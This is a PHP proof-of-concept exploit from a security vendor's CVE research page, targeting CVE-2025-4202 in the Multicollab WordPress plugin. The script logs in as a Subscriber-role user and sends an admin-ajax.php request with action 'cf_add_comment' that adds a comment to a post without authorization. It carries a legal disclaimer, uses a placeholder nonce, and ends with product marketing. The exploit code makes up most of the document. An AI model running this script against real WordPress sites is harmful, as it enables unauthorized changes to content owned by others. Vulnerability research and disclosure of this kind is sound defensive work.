// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-4202 - Multicollab: Content Team Collaboration and Editorial Workflow <= 5.2 - Missing Authorization to Authenticated (Subscriber+) Collaboration Comment

// Configuration
$target_url = 'http://example.com'; // Change to target WordPress site
$username = 'subscriber_user';      // WordPress username with Subscriber role
$password = 'subscriber_password';  // Password for the user

// Step 1: Authenticate
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array(
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => 1
)));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
$response = curl_exec($ch);
curl_close($ch);

// Get the nonce value (you may need to extract it from the source or use a simpler approach)
// For this PoC, we'll assume the nonce is obtained from the page source or the plugin's admin page
// In a real attack, the nonce might be obtainable from a page that loads the plugin scripts

// Step 2: Attempt to add a comment to a post (e.g., post ID 1)
$post_id = 1; // Target post ID
$comment_data = array(
    array(
        'commentedOnText' => 'Vulnerable text block',
        'thread' => '<p>This is an unauthorized comment added by CVE-2025-4202.</p>',
        'assigned' => 0,
        'attachmentText' => ''
    )
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin-ajax.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array(
    'action' => 'cf_add_comment',
    'postID' => $post_id,
    'commentList' => json_encode($comment_data),
    'nonce' => 'test_nonce' // In a real attack, attacker would need a valid nonce or bypass nonce check; some plugins don't enforce nonces on this action
)));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

echo "HTTP Response Code: " . $http_code . "n";
echo "Response Body: " . $response . "n";

// Explanation:
// This PoC demonstrates how an authenticated user with only Subscriber role can send a POST request
// to the AJAX endpoint with action 'cf_add_comment'. In successfully exploited vulnerabilities,
// the server would add the comment to post ID 1 even though the user lacks edit permissions.
// If the plugin is patched, the server should return a 403 Forbidden or die with an error.

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School